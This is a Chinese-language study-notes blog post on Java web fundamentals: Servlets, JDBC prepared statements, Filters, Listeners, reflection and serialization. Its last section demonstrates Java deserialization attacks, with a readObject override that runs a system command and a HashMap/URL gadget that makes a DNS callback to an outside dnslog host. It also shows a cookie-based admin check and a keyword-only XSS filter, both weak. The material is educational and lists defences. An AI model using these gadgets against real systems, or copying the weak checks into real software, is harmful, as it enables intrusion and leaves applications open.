原生类
课堂完结后欲复习巩固也方便后续-重游-故写此篇
从实现功能过渡到涉及的相关知识点
Servlet
Java Servlet 是运行在 Web 服务器或应用服务器上的程序,它是作为来自 Web 浏览器或其他 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。
简单来说就是帮你接收和发送浏览器信息的,需自定路由的“中间层”
1、 有两种设置路由的方式。
1.1、最原生的是在 java 同级文件夹 webapp 的里的文件 web.xml 里设置,比如:
1 2 3 4 5 6 7 8 9 10 11 12
| <servlet> <servlet-name>sun</servlet-name> <servlet-class>com.example.demo1.sun_servlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>sun</servlet-name> <url-pattern>/sun1</url-pattern> </servlet-mapping> <servlet-mapping> <servlet-name>sun</servlet-name> <url-pattern>/sun2</url-pattern> </servlet-mapping>
|
1.2、还有就是普遍使用的Servlet 3.0引入的一个特性 @Webservlert 注解
@WebServlet注解是Servlet 3.0引入的一个特性,它允许开发者在Servlet类上使用注解来声明Servlet的一些属性,从而避免在web.xml文件中进行配置。
只需了解前两个属性就好:name,value。例:@Webservlet(name="nm",value="/path") ,可简写作@Webservlet("/path")
name 的值相当于 web.xml 里的 <servlet-name> 属性,不写默认为类的全限定名
2、 全限定类名
全限定类名的主要作用是提供一个唯一的类标识,避免不同包中具有相同类名的类之间的冲突。
比如 servlert 必须引用的 HttpServlet 的全限定类名是 :javax.servlet.http.HttpServlet
3、 除了支持 get、post 方式发送请求的重写方法 doGet 和doPost,还有只在最开始执行一次的 init(),只在销毁的时候执行一次的 destroy
Code
具体的知识点不多,以自带的 HelloServlet 类为例小小改一下当复习就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| package com.example.demo1;
import java.io.*; import javax.servlet.ServletException; import javax.servlet.http.*; import javax.servlet.annotation.*;
@WebServlet(name = "helloServlet", value = "/hello-servlet") public class HelloServlet extends HttpServlet { private String message; @Override public void init() throws ServletException { message = "Hello World!"; } @Override public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { response.setContentType("text/html"); PrintWriter out = response.getWriter();
out.append("<html><body>") .append("<h1>" + message + "</h1>") .append("</body></html>"); } @Override public void destroy() { System.out.println("我销毁了,你看着办"); } }
|
JDBC
JDBC(Java Database Connectivity)是Java语言中用于操作关系型数据库的一套API。它提供了一组标准接口,使得Java程序可以与不同的数据库进行交互。JDBC的核心思想是面向接口编程,通过定义一组标准接口,各个数据库厂商实现这些接口,从而提供数据库驱动。
简单流程:导入驱动 jar 包 -> 通过反射加载驱动 -> 连接数据库 -> 请求并接收处理返回的数据库数据
1、 由于java的预编译语言特性,所以原生开发就有有效的法子预防sql注入(预编译),后面 Code 里细嗦
2、 加载数据库驱动的目的是将 JDBC 驱动加载到 JVM(java虚拟机)里,为后续 连接数据库时调用 JDBC 接口做准备。
1 2 3 4 5 6
| try { Class.forName("com.mysql.cj.jdbc.Driver"); } catch (ClassNotFoundException e) { throw new RuntimeException(e); }
|
3、 预编译防 sql 原理
预编译(Prepared Statements)是一种在执行SQL查询之前,先将SQL语句的结构固定下来,并将用户输入的参数作为独立的变量处理的方法。具体来说,预编译的SQL语句会先提交给数据库进行编译,生成一个执行计划,然后在执行时再将参数传递给这个执行计划。
所以重点是结构确定了,说简单点就是已经把命令执行完一大半了,就差个参数然后把结果给你了。所以参数是单独处理的!而非拼接然后第二次执行 sql 语句,注入自然是无效的。
Code
这里以是否预编译语句连接数据库为例,为了方便测试写在main函数里。如果需要传参也是一样的写在doget里就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| public static void main(String[]args) throws ClassNotFoundException, SQLException { Class.forName("com.mysql.cj.jdbc.Driver");
String url = "jdbc:mysql://localhost:3307/class_1"; String username = "root"; String password = "password"; Connection connection = DriverManager.getConnection(url, username, password);
String sql = "SELECT * FROM news where id=1"; Statement statement = connection.createStatement(); ResultSet resultSet = statement.executeQuery(sql);
while (resultSet.next()) { int id = resultSet.getInt("id"); String name = resultSet.getString("title"); String author=resultSet.getString("author"); String content=resultSet.getString("content"); String img=resultSet.getString("img"); System.out.println("-----------------------"); System.out.println(id); System.out.println(name); System.out.println(author); System.out.println(content); System.out.println(img); } resultSet.close(); statement.close(); connection.close(); }
|
编译与非编译写法运行结果分别如下所示:
编译:

不编译:

安全问题
1、 课上讲的就一个是否预编译预防 sql 注入
Filter
过滤器,顾名思义就是过滤作用,在一个请求发送到服务器时,得先经过过滤器(如果有),然后才能到达处理函数。这让过滤器可以完成很多操作,比如身份识别,登录控制,权限管理,过滤敏感词汇等。
具体操作就是把包抓到,进行修改然后放行,或者请求拦截返回。
1、 实现过滤器需要写上注释 @WebFilter("/path") 并实现 Filter 接口在 doFilter 方法里面进行过滤等操作。
2、 以身份验证为例,可以拿 cookie 里面的值来判断是否是管理员(虽然并不安全)。当然请求包里的所有数据都是能拿到的,可以支持很细化的过滤操作。
3、 可以对所有路径进行过滤: @WebFilter("/*"),那也意味着过滤可以又多层,只要把请求下放。
Code
这里两层过滤分别进行-身份识别-和-xss过滤-为例
第一层过滤:过滤非管理员用户(adminFilter)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| @WebFilter("/*") public class adminFilter implements Filter {
@Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("---Filter:path:/*:启动成功——init"); }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("---Filter:path:/*:开始过滤——doFilter"); HttpServletRequest req=(HttpServletRequest)servletRequest; HttpServletResponse rsp=(HttpServletResponse) servletResponse;
Cookie[] cookies = req.getCookies(); String userId = "admin"; if (cookies != null){ boolean flag=false; for (Cookie cookie : cookies){ if (Objects.equals(cookie.getName(), "userId") && Objects.equals(cookie.getValue(), "admin")) { flag=true; break; } } if(flag){ System.out.println("---Filter:path:/*:欢迎管理员——doFilter"); }else{ System.out.println("---Filter:path:/*:不是管理员——doFilter"); } filterChain.doFilter(req,rsp); } }
@Override public void destroy() { System.out.println("---Filter:path:/*:结束过滤——destroy"); } }
|
第二层过滤:过滤xss用户(xssFilter)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| @WebFilter(filterName = "xss",value = "/xss") public class xssFilter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { System.out.println("--Filter:path:/xss:启动成功——init"); } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("--Filter:path:/xss:开始过滤——doFilter"); HttpServletRequest req=(HttpServletRequest)servletRequest; HttpServletResponse rep=(HttpServletResponse)servletResponse; String payload = req.getParameter("payload"); if(payload.toLowerCase().contains("<script>")){ System.out.println("--Filter:path:/xss:XSS——doFilter"); }else{ System.out.println("--Filter:path:/xss:无注入——doFilter"); } filterChain.doFilter(req,rep); } @Override public void destroy() { System.out.println("--Filter:path:/xss:结束过滤——destroy"); } }
|
Servlet路由:/xss(xss)
1 2 3 4 5 6 7 8
| @WebServlet("/xss") public class xss extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { resp.getWriter().append("<h1>hello Filter</h1>"); System.out.println("-web:path:/xss:hello"); } }
|
测试如图

安全问题
1、 作为一个“过滤器”不安全的时候可能就只有程序员过滤不完全,有逻辑漏洞的时候了
Listener
Listener 是 Java Servlet 规范中的一部分,它提供了一种机制,使开发者能够编写监听器类来监听容器事件,并在事件发生时执行相应的逻辑。
下面是常见的三种类型,由于是简单了解,所以只演示HttpSessionListener(会话监听器)的简单监听。
1、 常见的有三种 Listener
- ServletContextListener(上下文监听器):用于监听 Web 应用程序的启动和关闭事件。
- HttpSessionListener(会话监听器):用于监听会话的创建和销毁事件。
- ServletRequestListener(请求监听器):用于监听请求的创建和销毁事件。
Code
这里附上监听器和创建/销毁监听器的关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
@WebListener public class ListenSession implements HttpSessionListener { @Override public void sessionCreated(HttpSessionEvent httpSessionEvent) { System.out.println("---Listener:监听到了session创建---"); }
@Override public void sessionDestroyed(HttpSessionEvent httpSessionEvent) { System.out.println("---Listener:监听到了session销毁---"); } }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("--Listener:销毁Session---"); req.getSession().invalidate(); }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("--Listener:创建Session---"); req.getSession(); }
|
测试结果

反射
Java反射是一种强大的机制,允许程序在运行时动态地获取类的结构信息(如字段、方法、构造函数等),并对其进行操作。反射广泛应用于框架设计(如Spring的依赖注入)和动态代理等场景。
具体到 code 里就是一个对象的class类,Person.class
1、 反射其实和 mysql 的数据库 information_schema 很像,里面记录了所有的信息,而 java 提供了很多方法供你方便地拿取与调用而非敲搜索语句(),比如一个类,你可以通过反射获得这个类的所有信息,包括成员方法啊,构造方法啊,成员变量,当然也可以进行调用
2、 不看具体方法名而直接调用等特征让反射普遍用于框架设计或需要动态调整的场景里
3、 如果把存反编译数据的文件打开会发现是如图的乱码

Code
由于几乎都是理论知识,直接在code里说明方法的作用
如何获取class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
Class p1=Class.forName("com.classthree.demo_01.reflect.Person");
Class p2=Person.class;
Class p3=(new Person()).getClass();
ClassLoader loader=ClassLoader.getSystemClassLoader(); Class p4=loader.loadClass("com.classthree.demo_01.reflect.Person");
System.out.println(p1==p2); System.out.println(p2==p3); System.out.println(p3==p4);
|
如何-获得/修改-成员变量(Field)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
|
Class cls= Person.class;
Field[] g_fields=cls.getFields(); System.out.println("---------------"); System.out.println(Arrays.toString(g_fields)); System.out.println("---------------");
Field[] a_fields=cls.getDeclaredFields(); System.out.println(Arrays.toString(a_fields)); System.out.println("---------------");
Field g_field=cls.getField("name"); System.out.println(g_field); System.out.println("---------------");
Field a_field=cls.getDeclaredField("nums"); System.out.println(a_field);
Person per=new Person(); per.age=12; Field f=cls.getDeclaredField("age"); System.out.println("former:"+f.get(per));
f.set(per,22); System.out.println("end:"+f.get(per));
|
如何-获得/使用-构造方法(Constructor)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
Class cls= Person.class;
Constructor[] con1=cls.getConstructors(); System.out.println(Arrays.toString(con1)); System.out.println("---------------");
Constructor[] con2=cls.getDeclaredConstructors(); System.out.println(Arrays.toString(con2)); System.out.println("---------------");
Constructor con3=cls.getConstructor(); Person p1= (Person) con3.newInstance(); System.out.println("---------------");
Constructor con4=cls.getDeclaredConstructor(String.class); con4.setAccessible(true);
Person p2= (Person) con4.newInstance("Nailu"); System.out.println("---------------");
|
如何-获得/使用-成员方法(Method)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
Class cls= Person.class;
Method[] g_methods=cls.getMethods(); System.out.println("---------------"); System.out.println(Arrays.toString(g_methods)); System.out.println("---------------");
Method[] a_methods=cls.getDeclaredMethods(); System.out.println(Arrays.toString(a_methods)); System.out.println("---------------");
Method g_method=cls.getMethod("pub_test",int.class); System.out.println(g_method); System.out.println("---------------"); Method g_method2=cls.getMethod("pub_test"); System.out.println(g_method2); System.out.println("---------------");
Method a_method=cls.getDeclaredMethod("pub_test",int.class,String.class); System.out.println(a_method); System.out.println("---------------"); Method a_method2=cls.getDeclaredMethod("pub_test",String.class,int.class); System.out.println(a_method2); System.out.println("---------------");
Person p1=new Person(); a_method2.invoke(p1,"456",123);
|
还有就是类Person
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| public class Person { public String name; int age; protected String gender; private String nums;
public Person() { System.out.println("公共无参"); } public Person(String name, int age) { System.out.println("公共二参:"+name+"+"+age); }
private Person(String name){ System.out.println("私有一参:"+name); }
public void get() { System.out.println("Person{" + "name='" + name + '\'' + ", age=" + age + ", gender='" + gender + '\'' + ", nums='" + nums + '\'' + '}'); }
private void pri_test(int a){ System.out.println("私有单参方法"+a); } private void pri_test(int a,String b){ System.out.println("私有双参方法"+a+"+"+b); } public void pub_test(){ System.out.println("公共无参方法"); } public void pub_test(int a){ System.out.println("公共单参方法"); } public void pub_test(int a,String b){ System.out.println("公共双参方法"+a+"+"+b); } public void pub_test(String a,int b){ System.out.println("公共双参方法"+a+"+"+b); } }
|
Serializer
Java序列化是将Java对象转换为字节序列的过程,而Java反序列化是将字节序列恢复为Java对象的过程。
1、 序列化就是把代码变成字节形式,易于保存(可保存到文件或数据库里)和网络传输
2、 反序列化漏洞,顾名思义就是在反序列化的时候出现的漏洞。比如网站反序列化你的序列化文件给你,那么就可以自己构造含有恶意代码的对象。(恶意代码可以在构造函数里,也可以在静态代码块里比如toString,还可以在方法里)
Code
这里先讲普遍的方式,在对象里加恶意代码。下面还有课上讲的利用特定类的配合进行带出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
|
public class Person implements Serializable { public String name; int age; protected String gender; private String nums;
public Person() { System.out.println("公共无参");
} public Person(String name, int age) {
this.name=name; this.age=age; System.out.println("公共二参:"+name+"+"+age); }
private Person(String name){ System.out.println("私有一参:"+name); }
@Override public String toString() {
return "Person{" + "name='" + name + '\'' + ", age=" + age + ", gender='" + gender + '\'' + ", nums='" + nums + '\'' + '}';
}
public void get() { System.out.println("Person{" + "name='" + name + '\'' + ", age=" + age + ", gender='" + gender + '\'' + ", nums='" + nums + '\'' + '}'); }
private void pri_test(int a){ System.out.println("私有单参方法"+a); } private void pri_test(int a,String b){ System.out.println("私有双参方法"+a+"+"+b); } public void pub_test(){ System.out.println("公共无参方法"); } public void pub_test(int a){ System.out.println("公共单参方法"); } public void pub_test(int a,String b){ System.out.println("公共双参方法"+a+"+"+b); } public void pub_test(String a,int b){ System.out.println("公共双参方法"+a+"+"+b); }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { Runtime.getRuntime().exec("notepad"); ois.defaultReadObject(); } }
|
利用 HashMap 类的方法 readobject()结合 URL 类带出
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
HashMap<URL,Integer> map_=new HashMap<>(); URL url=new URL("http://temple.dnslog.cn"); map_.put(url,1); String path2="url.txt";
Serializable(map_,path2); UnSerializable(path2);
|
安全问题
1、 上面就是围绕漏洞来展开的,但是是可以防御的。比如
不使用原生的序列化
使用更安全的json或xml
使用白名单
输入验证
最小化使用(尽量不使用)
权限最小化(确保应用程序以最小的必要权限运行)等
及时更新程序以及安装补丁
(如有不恰当的地方欢迎指正哦 ~o(●’◡’●)o)
参考blogs:
【servlet的映射与在idea中的使用】
【JDBC 驱动加载原理解析】
【【Java 进阶篇】Java Listener 使用详解】